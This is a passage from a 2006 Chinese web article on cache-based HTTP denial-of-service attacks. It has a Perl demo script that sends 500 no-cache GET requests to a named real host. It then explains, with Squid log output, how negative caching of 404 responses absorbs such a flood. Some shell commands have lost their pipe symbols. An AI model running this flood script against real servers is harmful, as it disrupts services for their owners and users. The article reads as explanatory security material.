首 页 | 模 板 | 学 院 | 源 码 | 书 籍 | 壁 纸 | 字 体 | JS脚本 | FLASH源码 | 软 件 | 矢 量 | 服务器软件 | 素 材 | 其 它 |
设为主页
加入收藏
联系站长
平面设计 | 网页制作 | 程序编写 | 数 据 库 | 媒体动画 | 网络冲浪 | 服务器相关 | 站长乐园 | 业界动态 |
当前在线
利用HTTP指令进行攻击之Cache篇
2006-12-6 15:44:24  作者:模板天下收集整理  来源:未知 网友评论 0 条 论坛
  

 

演示代码:

use IO::Socket;
#$host=shift(@ARGV);
$i=1;
while ($i<500) {
    $i++;
    print "\n$i\n";
    $remote = IO::Socket::INET->new(Proto => "tcp",
    PeerPort => "80",
    #PeerAddr => "blog.xfocus.net"
    PeerAddr => "test.qq.com"
    )  die(print "cant't connet $!");
    $remote->autoflush(1);
    print  $remote "GET /index.html HTTP/1.1\r\nAccept:image/gif image/x-xbitmap, 
image/jpeg,application/x-shockwave-flash\r\nReferer: http://www.google.com\r\nAccept:-
Language: zh-cn\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; 
SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\r\nCache-Control:no-
cache\r\nHOST:test.qq.com\n\n";
  #print <$remote>;
  close $remote;
  #sleep 1;
    }

实际应用

利用配置问题

在实际应用中的攻击,也许对方网管会采取作Squid的ACL方法来屏蔽此种攻击,但是实际环境中的攻击种类和方法会更加多样化,例如利用Squid默认配置中存在的问题,一样可以达到灵巧利用此问题,并具有一定隐蔽性。

场景某网管在Squid通过ACL做了no-cache过滤,使得加杂no-cahce的指令无法穿过,但是一样遭到了Cache拒绝服务攻击。

攻击原理

Squid的处理方式当返回为404、403时,通过cache处理减轻后台Web系统的负担。

通过程序用GET方式访问500次不存在的文件“index.html。”

查看squid的日志,cache住了绝大多数请求。

root@coolc:~/squid-2.5.STABLE12# cat squid_access.log  wc -l
    499
root@coolc:~/squid-2.5.STABLE12# cat  squid_access.log  awk '{print $4'} uniq -c
499 TCP_NEGATIVE_HIT/404
root@coolc:~/squid-2.5.STABLE12# cat apache-access_log  wc -l
0

而实际上传到到Apache上的压力为0,也就是几乎没有压力。TCP_NEGATIVE_HIT解决了大多数的负载,导致攻击压力全部不能施加在后台的Web服务器。

共分4页  [1] [2] [3] [4] 

>> 相关文章

关于网站 | 客服中心 | 服务条款 | 友情链接 | 广告联系 | 本站历程 | 网站导航

吉ICP备05000107号